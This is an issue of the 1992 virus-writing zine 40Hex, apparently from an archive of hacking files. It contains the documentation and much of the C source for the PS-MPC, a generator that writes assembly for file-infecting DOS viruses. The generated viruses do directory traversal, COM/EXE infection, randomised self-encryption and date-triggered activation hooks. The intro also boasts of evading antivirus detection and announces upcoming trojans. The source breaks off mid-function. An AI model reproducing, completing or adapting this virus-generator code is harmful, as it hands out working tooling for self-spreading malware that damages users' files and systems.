home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / 40HEXX.ZIP / 40HEX008 < prev    next >
Text File  |  1998-01-21  |  191KB  |  4,967 lines

  1. I don't want anybody complaining about not being able to compile the PS-MPC
  2. utility in 40Hex-8, so listen close.  You must set the "unsigned chars" option 
  3. on in order for the utility to compile properly.  It is in the Options/Compile 
  4. menu.  Spread the word along with 40Hex...
  5.  
  6. --- Telegard v2.5k Standard
  7.  * Origin: LandFill BBS (242:914/2.0)
  8. 40Hex Number 8 Volume 2 Issue 4                                       File 000
  9.  
  10.      Welcome to 40 Hex issue 8.  First off, this month is going to be
  11. Boot Sector Appreciation Month at 40Hex.  We will have a fully
  12. disassembled Michelangelo, along with a Pakistani Brain variant called
  13. Ashar.  But as always, there is a lot of other news that I have to
  14. discuss with all you, so on with the show.
  15.      For the last couple months, we have recieved quite a bad rap on
  16. Fidonet.  This has to do with the original SKISM Viruses (Like SKISM
  17. 1-14).  Like everyone, we had to start somewhere.  So what if our
  18. original virii blew large goats.  Judge us on some of our newer stuff.
  19. Oh, what is this you say?  You can't find our newer stuff?  Well,
  20. neither can McAfee.  Everyone will become enlightened soon enough.
  21. Other people on Fido who have been giving us a hard time, think it
  22. bothers us?  Think again, we love it!  One of our personal favorites is
  23. Gary Watson, who amuses us with each new post, and Tag Line (which are
  24. hysterical).
  25.      Secondly, Hellraiser is back as an author for 40Hex!  He currently
  26. doesn't have a modem, but he can at least do some slave work.  Great to
  27. have you back HR.
  28.      Another way in which 40Hex is going to help support virus community
  29. is by the brand new PHALCON/SKISM Macintosh Programming Team!  The four
  30. people involved in that are Renegade, Sixo, Trojan, and Wintermute!
  31. They will be cranking out a lot of quality Macintosh utilities, trojans
  32. and other interesting things very soon!  Look for them on all of our
  33. BBS's.
  34.      -=PHALCON/SKISM=- Net will be arriving to a BBS near you very soon.
  35. If you are interested, leave mail to any one of our fine support
  36. systems.
  37.  
  38.  
  39.  
  40.                         40Hex-8 Table of contents
  41.  
  42.              40Hex-8.000......................You Are Here!
  43.              40Hex-8.001......................PS-MPC (MassProducedCode)
  44.              40Hex-8.002......................Putav, an expose!
  45.              40Hex-8.003......................Findav -P/S- Style
  46.              40Hex-8.004......................Checkav -P/S- Original
  47.              40Hex-8.005......................StarShip Virus Info
  48.              40Hex-8.006......................Virus Spotlite: Michelangelo
  49.              40Hex-8.007......................EXE Infectors and you
  50.              40Hex-8.008......................Disassembly of ASHAR
  51.              40Hex-8.009......................Ear-6 source en Espa±ol
  52.              40Hex-8.010......................Letter to the Editor
  53.              
  54.  
  55.     Greetings to:  The new and improved [NuKE], FirstStrike, Apache
  56. Warrior, all PHALCON/SKISM Members, Backstabbers and everyone else we
  57. forgot to greet!
  58.  
  59.                                        -)GHeap
  60. 40Hex Number 8 Volume 2 Issue 4                                       File 001
  61.  
  62.     Once again, -=PHALCON/SKISM=- pisses off the PD scene.  Now anyone
  63. can make their own virus, and give it to Gary Watson, the only guy on
  64. Fidonet who we love.  Without him, we would never get the fame that we
  65. now covet so greatly.  Well, that is until we got our official Pepsi
  66. Gotta Have It Cards.  Thank you Gary.
  67.                                         -) Gheap
  68. ----------------------------- Docs -n- code begin -----------------------------
  69.   
  70.   
  71.   
  72.                                     PS-MPC
  73.                    Pretty Slick Multimedia Personal Computer
  74.                                      (NOT)
  75.                Phalcon/Skism Mass-Produced Code Generator 0.90▀
  76.                              Created by Dark Angel
  77.   
  78.   TABLE OF CONTENTS
  79.   
  80.   TABLE OF CONTENTS                                          i
  81.   DEDICATION                                                 i
  82.   DISCLAIMER                                                ii
  83.   PURPOSE                                                   ii
  84.   WHAT IS THE PS-MPC?                                        1
  85.   USING THE PS-MPC                                           1
  86.   NO ACTIVATION ROUTINES                                     1
  87.   WHY NO IDE                                                 2
  88.   SOURCE CODE AVAILABILITY                                   2
  89.   PROBLEMS                                                   2
  90.   FUTURE ENHANCEMENTS                                        2
  91.   HISTORY OF VIRUS TOOLKITS                                  A
  92.   
  93.   DEDICATION
  94.   
  95.        The author  hereby releases  this program and its source code into the
  96.   public domain  as "freeware."   All  code generated  by the  program  must,
  97.   however, retain  the designation  of said program, although all other parts
  98.   may be  modified at  the user's  discretion.   The  author  dedicates  this
  99.   program to  both the virus and anti-virus communities, both of which profit
  100.   from the introduction of the Phalcon/Skism Mass-Produced Code Generator.
  101.   
  102.        Thanks are  due to  NoWhere Man  for his  excellent program VCL, which
  103.   served as the inspiration for this package.
  104.   
  105.   
  106.   
  107.   
  108.   
  109.   
  110.   
  111.   
  112.   
  113.   
  114.   
  115.   
  116.   
  117.   
  118.   
  119.   
  120.   
  121.   
  122.   
  123.   
  124.   
  125.   
  126.   
  127.   
  128.   
  129.   
  130.   
  131.   
  132.   
  133.      PS-MPC Documentation             - i -             Phalcon/Skism 1992
  134.   
  135.   
  136.   
  137.   DISCLAIMER
  138.   
  139.        This  program  may  cause  either  the  intentional  or  unintentional
  140.   disruption of  normal brain  wave activity  of the  user due to the extreme
  141.   shock quality  of the  program.   The author hereby absolves himself of all
  142.   liability.  Persons with pacemakers beware!
  143.   
  144.        The code  produced by  the Phalcon/Skism  Mass-Produced Code Generator
  145.   is not  designed to be damaging; however, the author is not responsible for
  146.   incidental damages  caused by  use of  the program.  Further, the author is
  147.   not responsible  for damages caused by changes to the code generated by the
  148.   PS-MPC.   The author does not condone the illegal spread of executable code
  149.   created in part or in whole by the PS-MPC.  All source code and  executable
  150.   files created with the aid of the PS-MPC must be distributed with the reci-
  151.   pient's full knowledge  of the  contents.    Malicious use  of the  code is
  152.   strictly prohibited.
  153.   
  154.   PURPOSE
  155.   
  156.        The Phalcon/Skism  Mass-Produced Code  Generator is  not  designed  to
  157.   create malicious  code; rather,  it is  a learning tool from which a person
  158.   may learn  to write effective viral code.  The code generated by the PS-MPC
  159.   is highly  optimised for  both size  and speed  and is  therefore the  code
  160.   generated can  be used  by the fledgling virus writer as a model for future
  161.   endeavours.
  162.   
  163.   
  164.   
  165.   
  166.   
  167.   
  168.   
  169.   
  170.   
  171.   
  172.   
  173.   
  174.   
  175.   
  176.   
  177.   
  178.   
  179.   
  180.   
  181.   
  182.   
  183.   
  184.   
  185.   
  186.   
  187.   
  188.   
  189.   
  190.   
  191.   
  192.   
  193.   
  194.   
  195.   
  196.   
  197.   
  198.      PS-MPC Documentation            - ii -             Phalcon/Skism 1992
  199.   
  200.   
  201.   
  202.   WHAT IS THE PS-MPC?
  203.   
  204.        The  Phalcon/Skism  Mass-Produced  Code  Generator  is  a  tool  which
  205.   generates viral  code according  to user-designated  specifications.    The
  206.   output is  in Masm/Tasm-compatible  Intel 8086 assembly and it is up to the
  207.   user to  assemble the output into working executable form.  The features of
  208.   the PS-MPC include the following:
  209.   
  210.     o Over  150 encryption  techniques, randomly generated during each run of
  211.       the PS-MPC
  212.     o Compact, commented code, much tighter than VCL
  213.     o COM/EXE infections
  214.     o Two types of traversals
  215.     o Optional infection of Command.Com
  216.     o Critical error handler support
  217.   
  218.   USING THE PS-MPC
  219.   
  220.        The syntax of the PS-MPC is simple:
  221.   
  222.        PS-MPC <file1> <file2> <file3>...
  223.   
  224.        The parameters  given to the PS-MPC are the names of the configuration
  225.   files.  For example, to create two separate viruses using the configuration
  226.   files  FOOBAR1.CFG   and  FOOBAR2.CFG,   simply  type  "PS-MPC  FOOBAR1.CFG
  227.   FOOBAR2.CFG" at the prompt.
  228.   
  229.        The configuration  file is  a text file containing a set of parameters
  230.   which define  the output  of the  PS-MPC.   A  sample  configuration  file,
  231.   SKELETON.CFG is  included  with  the  package.    This  configuration  file
  232.   contains all  the acceptable  parameters that  the PS-MPC  will accept.  It
  233.   also includes  the defaults to each of these parameters.  The configuration
  234.   file is  self-explanatory, so there is no need to go into further detail at
  235.   this time.
  236.   
  237.        When the  Generator has  completed creating  the source  code  file/s,
  238.   simply assemble  the output  file/s  with  your  favorite  assembler/linker
  239.   combination.  A multi-pass assembler is recommended.  Masm is a poor choice
  240.   for an  assembler; try  Tasm.   Masm requires  the code  to  include  extra
  241.   segment overrides which unnecessarily add to the code length.  Masm 6.0 may
  242.   fix these  problems (I'm  not sure  since I  don't have  it).  Tasm, on the
  243.   other hand,  is an  excellent, fast,  multipass assembler  far superior  to
  244.   Masm.
  245.   
  246.   NO ACTIVATION ROUTINES
  247.   
  248.        I have  not included  any activation  routines in  the package  simply
  249.   because I  do not  think  the  power  of  creating  potentially-destructive
  250.   viruses should  be in  the hands  of persons  incapable of  coding a simple
  251.   activation routine  in assembly.   If  you can rip a simple FAT-annihilator
  252.   out of  another trojan,  then I  cannot stop  you from  doing so.  But just
  253.   remember that  the most  memorable viruses  are not  necessarily those that
  254.   cause the  most damage,  but are usually those that have unusual activation
  255.   routines.
  256.   
  257.        Upon finding  activation conditions,  the PS-MPC will generate a short
  258.   stub for  the activation  routine.   This is  located immediately after the
  259.   code for  the restoration of the executable files.  It is identified by the
  260.   label "activate"  and is  followed by a return.  Insert your own activation
  261.   routine between those two lines.
  262.   
  263.      PS-MPC Documentation             - 1 -             Phalcon/Skism 1992
  264.   
  265.   
  266.   
  267.   WHY NO IDE (Integrated Development Environment)
  268.   
  269.        Everyone agrees  that Microsoft  Windows is  for cripples.  Obviously,
  270.   you, the  user of  the PS-MPC, are no cripple, so you need no puny IDE with
  271.   colourful, deluxe  windows to  aid you.  If you are a cripple, go ahead and
  272.   create the  configuration file in your favorite Windows text editor.  Hell,
  273.   port the  code to  the Macintosh  and you  can be  truly crippled (although
  274.   you'll have your pretty windows and icons).
  275.   
  276.   SOURCE CODE AVAILABILITY
  277.   
  278.        This program  is distributed  with full  source code.    Although  the
  279.   source should  be self-explanatory,  I have gone back and commented several
  280.   portions in  order to facilitate understanding.  The program was written in
  281.   Turbo C  2.0 and  compiled in the tiny memory model.  I trust that you will
  282.   not hack  this program and call it your own.  Source code is available only
  283.   because I think it will aid in your understanding of the program.
  284.   
  285.   PROBLEMS
  286.   
  287.        This program  was written  hastily.    The  bulk  of  the  coding  was
  288.   completed in  under two  days.   Features were  added  by  the  process  of
  289.   accretion during  the following  week.   Needless to  say, the  code is now
  290.   extremely unmanageable.  If there is enough interest in the package, I will
  291.   rewrite it  in order  to alleviate  the strain  caused in  maintaining such
  292.   code.  This will help in adding features as the need arises.
  293.  
  294.        There MAY be some bugs in this version since it hasn't been thoroughly
  295.   tested yet.  Report all bugs to me (duh). Be sure to save the configuration
  296.   file of the faulty code so the bug may be reproduced.  Better yet, find the
  297.   problem, fix the C source, and send it to me.  Zowie!
  298.   
  299.   FUTURE ENHANCEMENTS
  300.   
  301.        As you  may have already noticed, this is a pre-1.0 release version of
  302.   the Generator.   There  are several  features which  I wish  to add  before
  303.   version 1.0.   These  include, but  are not  limited to,  resident viruses,
  304.   padded-EXE infections  (shorter routine),  and better  documentation(!).  A
  305.   few surprises  will be  thrown in as well.  I do not plan on increasing the
  306.   size of  the PS-MPC.COM file dramatically, so with every addition will come
  307.   code to  keep the  increase in  file size to a minimum.  I do not intend to
  308.   devote too  much time to the project as I personally don't actually use the
  309.   generator to spew out code for the group.
  310.   
  311.   Note: The  version included with 40Hex-8 is not the latest version.  Due to
  312.   space considerations, we could not include the source code to version 0.91▀
  313.   which is somewhat larger.
  314.   
  315.   
  316.   
  317.   
  318.   
  319.   
  320.  
  321.   
  322.   
  323.   
  324.   
  325.   
  326.   
  327.   
  328.      PS-MPC Documentation             - 2 -             Phalcon/Skism 1992
  329.   
  330.   
  331.   
  332.   HISTORY OF VIRUS TOOLKITS
  333.   
  334.        The first  known virus  toolkit was  called VCS, or Virus Construction
  335.   Set.   This program  generated a  new virus each time it was run.  However,
  336.   there were  no code differences at all between any two viruses generated by
  337.   VCS.   All viruses  generated were  1077 bytes  in length  and all could be
  338.   detected with  the identical  scan string.   The advantage in this approach
  339.   was that  the user  needed absolutely no knowledge of 8086 assembly to take
  340.   advantage of this program.  This program of limited usefulness spawned only
  341.   one well-known variant called Manta.  It is not even worth mentioning here.
  342.   
  343.        The second  virus toolkit  was CrazySoft, Inc.'s Dark Avenger Mutation
  344.   Engine (MtE).   This  magnificent work  of Bulgarian  coding allowed  virus
  345.   authors to  create viruses  with an  almost limitless  number of decryption
  346.   routines.   Although the  author needed  to know how to write 8086 assembly
  347.   code, no  knowledge of  the inner workings of MtE save the entry parameters
  348.   was needed  to use  this toolkit.   It  has since  spawned several viruses,
  349.   including Dedicated, Pogue, Fear, and Groove.
  350.   
  351.        The next  virus toolkit  to be released was VCL, or Virus Construction
  352.   Laboratory.  This was written by NoWhere Man of NuKE.  This toolkit allowed
  353.   the user  many options,  including the creation of parasitic COM infectors,
  354.   spawning EXE infectors, trojan horses and logic bombs.  Since it could only
  355.   handle parasitic  infections of  the COM  file format,  it was  of  limited
  356.   usefulness.   Additionally, it  incorporated only  one decryption  formula,
  357.   once again  limiting its usefulness.  Further, the initial release included
  358.   a quirky  installation program  which  failed  to  install  properly  under
  359.   certain conditions.   However,  this  package  contained  a  colourful  IDE
  360.   loosely based  on the Borland interface.  This IDE was incredibly simple to
  361.   use and  even the  average Joe  could understand  how  to  use  it  without
  362.   understanding 80x86  assembly.    Unfortunately,  the  activation  routines
  363.   included with  the package  were of  limited usefulness.    Most  of  these
  364.   involved manipulating the BIOS memory area at segment 40h.
  365.   
  366.   
  367.   
  368.   
  369.   
  370.   
  371.   
  372.   
  373.   
  374.   
  375.   
  376.   
  377.   
  378.   
  379.   
  380.   
  381.   
  382.   
  383.   
  384.   
  385.   
  386.   
  387.   
  388.   
  389.   
  390.   
  391.   
  392.   
  393.      PS-MPC Documentation             - A -             Phalcon/Skism 1992
  394.   
  395. ------------------------------ Source code begins -----------------------------
  396. /* FILE: VHEADER.H */
  397. #ifndef __VHEADER_H
  398. #define __VHEADER_H
  399.  
  400. /* infect */
  401. #define COM     1
  402. #define EXE     2
  403.  
  404. /* traverse */
  405. #define NONE    0
  406. #define DOT_DOT 1
  407.  
  408. typedef struct {
  409.   char always;
  410.   char number;
  411.   char month;
  412.   char day;
  413.   int  year;
  414.   char dow;
  415.   int  monthday;
  416.   char hour;
  417.   char minute;
  418.   char second;
  419.   char percentage;
  420. } activation_conditions;
  421.  
  422. typedef struct {
  423.   unsigned infectCOM   : 1;
  424.   unsigned infectEXE   : 1;
  425.   unsigned traverse    : 1;       /* Currently only two types */
  426.   unsigned encrypt     : 1;
  427.   unsigned int24       : 1;
  428.   unsigned CommandCom  : 1;
  429.   unsigned allowzero   : 1;
  430.   unsigned calls_check : 1;
  431. } parameters;
  432.  
  433. typedef struct {
  434.   char       configfilename[80];
  435.   char       asmfilename[80];
  436.   char       id[3];
  437.   char       virusname[80];
  438.   char       virusnamedelim;
  439.   char       authorname[80];
  440.   char       authornamedelim;
  441.   unsigned   minsize, maxsize;
  442.   char       maxinfect;
  443.   parameters p;
  444.   char       xor_value;
  445.   char       xor_comment[40];
  446.   char       activation;
  447.   activation_conditions activate, plusminus;
  448. } globals;
  449.  
  450. /* prototypes from vmain.c */
  451. void print(char *s, char *t);
  452. void printlabel(char *s, char *t);
  453. void addvar(char *s, char *t, char *u);
  454. void printblank(void);
  455.  
  456. /* prototypes from vheap.c */
  457. void addheap(char *s, char *t, char *u);
  458. void _addheap(char *s);
  459. void resetheap(void);
  460.  
  461. /* code generating prototypes */
  462. void code_header(void);
  463. void code_encryption(void);
  464. void code_setup(void);
  465. void code_traversal(void);
  466. void code_check_activation(void);
  467. void code_return(void);
  468. void code_activate(void);
  469. void code_messages(void);
  470. void code_check(void);
  471. void code_infect(void);
  472. void code_subroutines(void);
  473. void code_variables(void);
  474. void code_heap(void);
  475. void code_tail(void);
  476.  
  477. #ifndef MAIN
  478. extern globals config;
  479. #endif
  480.  
  481. #endif /* __VHEADER_H */
  482. ----------------------------------- Cut Here ----------------------------------
  483. /* FILE: VACTIVE.C */
  484. #include "vheader.h"
  485.  
  486. void code_activate(void)
  487. {
  488.   if (config.activation)
  489.   {
  490.     printlabel("activate:","Conditions satisfied");
  491.     printlabel("; Insert your activation code here","");
  492.     print("jmp  exit_virus","");
  493.     printblank();
  494.   }
  495. }
  496. ----------------------------------- Cut Here ----------------------------------
  497. /* FILE: VCACTIVE.C */
  498. #include "vheader.h"
  499.  
  500. void code_get_date(void);
  501. void code_get_time(void);
  502. void code_jmp(char c);
  503.  
  504. char coded_date, coded_time, Activation;
  505.  
  506. void code_check_activation(void)
  507. {
  508.   char b[80];
  509.  
  510.   coded_date = coded_time = 0;
  511.   Activation = config.activation;
  512.  
  513.   if (config.activate.always)
  514.     printlabel("jmp  activate","Always activate");
  515.   else {
  516.     if (config.activate.month) {
  517.       code_get_date();
  518.       sprintf(b,"cmp  dh,%d",config.activate.month);
  519.       print(b,"Check month");
  520.       code_jmp(config.plusminus.month);
  521.     }
  522.     if (config.activate.day) {
  523.       code_get_date();
  524.       sprintf(b,"cmp  dl,%d",config.activate.day);
  525.       print(b,"Check date");
  526.       code_jmp(config.plusminus.day);
  527.     }
  528.     if (config.activate.year) {
  529.       code_get_date();
  530.       sprintf(b,"cmp  cx,%u",config.activate.year);
  531.       print(b,"Check year");
  532.       code_jmp(config.plusminus.year);
  533.     }
  534.     if (config.activate.dow != 255) {
  535.       code_get_date();
  536.       sprintf(b,"cmp  al,%d",config.activate.dow);
  537.       print(b,"Check date of week");
  538.       code_jmp(config.plusminus.dow);
  539.     }
  540.     if (config.activate.monthday) {
  541.       code_get_date();
  542.       sprintf(b,"cmp  dx,0%xuh",config.activate.monthday);
  543.       print(b,"Check month/date");
  544.       code_jmp(config.plusminus.monthday);
  545.     }
  546.  
  547.     if (coded_date) printblank();
  548.  
  549.     if (config.activate.hour != 255) {
  550.       code_get_time();
  551.       sprintf(b,"cmp  ch,%d",config.activate.hour);
  552.       print(b,"Check the hour");
  553.       code_jmp(config.plusminus.hour);
  554.     }
  555.     if (config.activate.minute != 255) {
  556.       code_get_time();
  557.       sprintf(b,"cmp  cl,%d",config.activate.minute);
  558.       print(b,"Check the minute");
  559.       code_jmp(config.plusminus.minute);
  560.     }
  561.     if (config.activate.second != 255) {
  562.       code_get_time();
  563.       sprintf(b,"cmp  dh,%d",config.activate.second);
  564.       print(b,"Check the seconds");
  565.       code_jmp(config.plusminus.second);
  566.     }
  567.     if (config.activate.percentage) {
  568.       code_get_time();
  569.       sprintf(b,"cmp  dl,%d",config.activate.percentage);
  570.       print(b,"Check the percentage");
  571.       code_jmp(-1);
  572.  
  573.     if (coded_time) printblank();
  574.     }
  575.   }
  576. }
  577.  
  578. void code_jmp(char c)
  579. {
  580.   if (--Activation) {
  581.     if (c == 1)
  582.       print("jb   exit_virus","");
  583.     else if (c == 0)
  584.       print("jnz  exit_virus","");
  585.     else if (c == 255)
  586.       print("ja   exit_virus","");
  587.   } else {
  588.     if (c == 1)
  589.       print("jae  config.activate","");
  590.     else if (c == 0)
  591.       print("jz   config.activate","");
  592.     else if (c == 255)
  593.       print("jbe  config.activate","");
  594.   }
  595. }
  596.  
  597. void code_get_date(void)
  598. {
  599.   if (!coded_date) {
  600.     print("mov  ah,2ah","Get current date");
  601.     print("int  21h","");
  602.     coded_date++;
  603.   }
  604. }
  605.  
  606. void code_get_time(void)
  607. {
  608.   if (!coded_time) {
  609.     print("mov  ah,2ch","Get current time");
  610.     print("int  21h","");
  611.     coded_time++;
  612.   }
  613. }
  614. ----------------------------------- Cut Here ----------------------------------
  615. /* FILE: VCHECK.C */
  616. #include "vheader.h"
  617.  
  618. void checkCOM(void);
  619.  
  620. void code_check(void)
  621. {
  622.   if (config.p.calls_check)
  623.     printlabel("infect_mask:","");
  624.   print("mov  ah,4eh","find first file");
  625.   print("mov  cx,7","any attribute");
  626.   printlabel("findfirstnext:","");
  627.   print("int  21h","DS:DX points to mask");
  628.   if (config.p.calls_check)
  629.     print("jc   exit_infect_mask","No mo files found");
  630.   else
  631.     print("jc   done_infections","No mo files found");
  632.   printblank();
  633.   print("mov  al,0h","Open read only");
  634.   print("call open","");
  635.   printblank();
  636.   print("mov  ah,3fh","Read file to buffer");
  637.   print("lea  dx,[bp+buffer]","@ DS:DX");
  638.   print("mov  cx,1Ah","1Ah bytes");
  639.   print("int  21h","");
  640.   printblank();
  641.   print("mov  ah,3eh","Close file");
  642.   print("int  21h","");
  643.   printblank();
  644.   if (config.p.infectEXE) {
  645.     if (config.p.infectCOM) {
  646.       print("cmp  word ptr [bp+buffer],'ZM'","EXE?");
  647.       print("jz   checkEXE","Why yes, yes it is!");
  648.       checkCOM();
  649.     }
  650.     printlabel("checkEXE: cmp  word ptr [bp+buffer+10h],id","is it already infected?");
  651.     print("jnz  infect_exe","");
  652.   } else
  653.     checkCOM();
  654.   printlabel("find_next:","");
  655.   print("mov  ah,4fh","find next file");
  656.   print("jmp  short findfirstnext","");
  657.   if (config.p.calls_check) {
  658.     printlabel("exit_infect_mask: ret","");
  659.     printblank();
  660.   }
  661. }
  662.  
  663. void checkCOM(void)
  664. {
  665.   char s[80];
  666.  
  667.   printlabel("checkCOM:","");
  668.   if (!config.p.CommandCom)
  669.   {
  670.     print("mov  ax,word ptr [bp+newDTA+35]","Get tail of filename");
  671.     print("cmp  ax,'DN'","Ends in ND? (commaND)");
  672.     print("jz   find_next","");
  673.     printblank();
  674.   }
  675.   print("mov  ax,word ptr [bp+newDTA+1Ah]","Filesize in DTA");
  676.   if (config.minsize)
  677.   {
  678.     if (config.minsize == 1) /* automatic calculation */
  679.       if (config.p.encrypt)
  680.         strcpy(s,"cmp  ax,(heap-decrypt)");
  681.       else
  682.         strcpy(s,"cmp  ax,(heap-startvirus)");
  683.     else  /* if (minsize != 1) */
  684.       sprintf(s,"cmp  ax,%u",config.minsize);
  685.     print(s,"Is it too small?");
  686.     print("jb   find_next","");
  687.     printblank();
  688.   }
  689.   if (config.maxsize)
  690.   {
  691.     if (config.maxsize == 1) /* automatic calculation */
  692.       if (config.p.encrypt)
  693.         strcpy(s,"cmp  ax,65535-(endheap-decrypt)");
  694.       else
  695.         strcpy(s,"cmp  ax,65535-(endheap-startvirus)");
  696.     else
  697.       sprintf(s,"cmp  ax,%u",config.maxsize);
  698.     print(s,"Is it too large?");
  699.     print("ja   find_next","");
  700.     printblank();
  701.   }
  702.  
  703.   print("mov  bx,word ptr [bp+buffer+1]","get jmp location");
  704.   if (config.p.encrypt)
  705.     print("add  bx,heap-decrypt+3","Adjust for virus size");
  706.   else
  707.     print("add  bx,heap-startvirus+3","Adjust for virus size");
  708.   print("cmp  ax,bx","");
  709.   print("je   find_next","already infected");
  710.   print("jmp  infect_com","");
  711. }
  712. ----------------------------------- Cut Here ----------------------------------
  713. /* VENCRYPT.C */
  714. #include <stdlib.h>
  715.  
  716. #include "vheader.h"
  717.  
  718. void code_loop_count(void);
  719. void code_loop_start(void);
  720. void code_decrypt_code(void);
  721.  
  722. char mem_counter;
  723. char mem_registers[4][3] = {
  724.   "bx",
  725.   "bp",
  726.   "si",
  727.   "di"
  728. };
  729.  
  730. char loop_counter;
  731. char loop_registers[7][3] = {
  732.   "ax", "bx", "cx", "dx", "bp", "si", "di"
  733. };
  734.  
  735. char xor_registers[4][2] = {
  736.   { 0x81, 0x37 },
  737.   { 0x81, 0x76 },
  738.   { 0x81, 0x34 },
  739.   { 0x81, 0x35 }
  740. };
  741.  
  742. char add_registers[4][2] = {
  743.     { 0x81, 0x07 }, /* add [bx],xxxx / db 81h, 7h,xxh,xxh    */
  744.     { 0x81, 0x46 }, /* add [bp],xxxx / db 81h,46h,00,xxh,xxh */
  745.     { 0x81, 0x04 },
  746.     { 0x81, 0x05 },
  747. };
  748.  
  749. void code_encryption(void)
  750. {
  751.   if (config.p.encrypt) {
  752.     srand(peek(0,0x46C));
  753.     printlabel("decrypt:","handles encryption and decryption");
  754.     if ((loop_counter = random(10)) > 6)   /* if out of bounds */
  755.       loop_counter = 2;                    /* set it = to cx   */
  756.     while (1) {
  757.       mem_counter = random(4);
  758.       if (strcmp(mem_registers[mem_counter = random(4)],
  759.         loop_registers[loop_counter]))
  760.         break;
  761.     }
  762.     if (random(2)) {
  763.       code_loop_count();
  764.       code_loop_start();
  765.     } else {
  766.       code_loop_start();
  767.       code_loop_count();
  768.     }
  769.     code_decrypt_code();
  770.   }
  771. }
  772.  
  773. void code_loop_count(void)
  774. {
  775.   char b[80];
  776.   sprintf(b,"mov  %s,(offset heap - offset startencrypt)/2",
  777.           loop_registers[loop_counter]);
  778.   print(b,"iterations");
  779. }
  780.  
  781. void code_loop_start(void)
  782. {
  783.   char b[80];
  784.   printlabel("patch_startencrypt:","");
  785.   sprintf(b,"mov  %s,offset startencrypt",
  786.           mem_registers[mem_counter]);
  787.   print(b,"start of decryption");
  788. }
  789.  
  790. void code_decrypt_code(void)
  791. {
  792.     char b[80],c[80];
  793.     printlabel("decrypt_loop:","");
  794.     config.xor_value = 0;
  795.     switch (random(2))
  796.     {
  797.       case 0 : sprintf(b,"db   %s%2.2xh,%2.2xh%s",
  798.                (config.p.infectEXE) ? "2eh," : "", xor_registers[mem_counter][0],
  799.                xor_registers[mem_counter][1],(mem_counter == 1) ? ",0":"");
  800.  
  801.                sprintf(c,"xor word ptr %s[%s], xxxx",
  802.                (config.p.infectEXE) ? "cs:" : "",mem_registers[mem_counter]);
  803.                break;
  804.       case 1 : sprintf(b,"db   %s%2.2xh,%2.2xh%s",
  805.                (config.p.infectEXE) ? "2eh," : "", add_registers[mem_counter][0],
  806.                add_registers[mem_counter][1],(mem_counter == 1) ? ",0":"");
  807.  
  808.                sprintf(c,"add word ptr %s[%s], xxxx",
  809.                (config.p.infectEXE) ? "cs:" : "",mem_registers[mem_counter]);
  810.                config.xor_value = 0x28;
  811.                strcpy(config.xor_comment,"flip between add/sub");
  812.                break;
  813.     }
  814.     print(b,c);
  815.     printlabel("decrypt_value dw 0","initialised at zero for null effect");
  816.     sprintf(c,"inc  %s",mem_registers[mem_counter]);
  817.     print(c,"calculate new decryption location");
  818.     print(c,"");
  819.     if (loop_counter - 2)
  820.     {
  821.       sprintf(b,"dec  %s",loop_registers[loop_counter]);
  822.       print(b,"If we are not done, then");
  823.       print("jnz  decrypt_loop","decrypt mo'");
  824.     } else
  825.       print("loop decrypt_loop","decrypt mo'");
  826.     printlabel("startencrypt:","");
  827. }
  828. ----------------------------------- Cut Here ----------------------------------
  829. /* FILE: VHEADER.C */
  830. #include "vheader.h"
  831.  
  832. void code_header(void)
  833. {
  834.   char b[80];
  835.   sprintf(b,"; %s : %s by %s",config.asmfilename,
  836.          (config.virusname[0]) ? config.virusname : "Unknown",
  837.          (config.authorname[0])? config.authorname: "Unknown");
  838.   printlabel(b,"");
  839.   printlabel("; Created wik the Phalcon/Skism Mass-Produced Code Generator","");
  840.   sprintf(b,"; from the configuration file %s",config.configfilename);
  841.   printlabel(b,"");
  842.   printblank();
  843.   printlabel(".model tiny","Handy directive");
  844.   printlabel(".code","Virus code segment");
  845.   print("org    100h","COM file starting IP\n");
  846.   if (config.p.infectEXE)
  847.   {
  848.     sprintf(b,"id = '%s'",config.id);
  849.     printlabel(b,"ID word for EXE infections");
  850.   }
  851.   if (config.p.infectCOM)
  852.     if (config.p.encrypt)
  853.       printlabel("entry_point: db 0e9h,0,0","jmp decrypt");
  854.     else
  855.       printlabel("entry_point: db 0e9h,0,0","jmp startvirus");
  856.   printblank();
  857. }
  858. ----------------------------------- Cut Here ----------------------------------
  859. /* FILE: VHEAP.C */
  860. #include "vheader.h"
  861.  
  862. char heap[30][80];
  863. char max;
  864.  
  865. void code_heap(void)
  866. {
  867.   printlabel("heap:","Variables not in code");
  868.   if (max)
  869.     while (max--)
  870.       printlabel(heap[max],"");
  871.   else
  872.     printlabel("; No heap to speak of","");
  873.   printlabel("endheap:","End of virus");
  874. }
  875.  
  876. void addheap(char *s, char *t, char *u)
  877. {
  878.   if (*u)
  879.     sprintf(heap[max++],"%-20.20s%-20.20s; %-37.37s",s,t,u);
  880.   else
  881.     sprintf(heap[max++],"%-20.20s%s",s,t);
  882. }
  883.  
  884. void _addheap(char *s)
  885. {
  886.   strcpy(heap[max++],s);
  887. }
  888.  
  889. void resetheap(void)
  890. {
  891.     max=0;
  892. }
  893. ----------------------------------- Cut Here ----------------------------------
  894. /* FILE: VINFECT.C */
  895. #include "vheader.h"
  896.  
  897. void write_encrypt(void);
  898. void code_infect_EXE(void);
  899.  
  900. void code_infect(void)
  901. {
  902.   if (config.p.infectEXE) {
  903.     printlabel("infect_exe:","");
  904.     code_infect_EXE();
  905.     if (config.p.infectCOM)
  906.       print("jmp  short finishinfection","");
  907.   }
  908.   if (config.p.infectCOM) {
  909.     printlabel("infect_com:","ax = filesize");
  910.     print("mov  cx,3","");
  911.     print("sub  ax,cx","");
  912.     print("lea  si,[bp+offset buffer]","");
  913.     print("lea  di,[bp+offset save3]","");
  914.     print("movsw","");
  915.     print("movsb","");
  916.     print("mov  byte ptr [si-3],0e9h","");
  917.     print("mov  word ptr [si-2],ax","");
  918.     if (config.p.encrypt)
  919.     {
  920.       print("add  ax,103h","");
  921.       print("push ax","needed later");
  922.     }
  923.   }
  924.   printlabel("finishinfection:","");
  925.   print("push cx","Save # bytes to write");
  926.   print("xor  cx,cx","Clear attributes");
  927.   print("call attributes","Set file attributes");
  928.   printblank();
  929.   print("mov  al,2","");
  930.   print("call open","");
  931.   printblank();
  932.   print("mov  ah,40h","Write to file");
  933.   print("lea  dx,[bp+buffer]","Write from buffer");
  934.   print("pop  cx","cx bytes");
  935.   print("int  21h","");
  936.   printblank();
  937.   print("mov  ax,4202h","Move file pointer");
  938.   print("xor  cx,cx","to end of file");
  939.   print("cwd","xor dx,dx");
  940.   print("int  21h","");
  941.   printblank();
  942.   if (config.p.encrypt) {
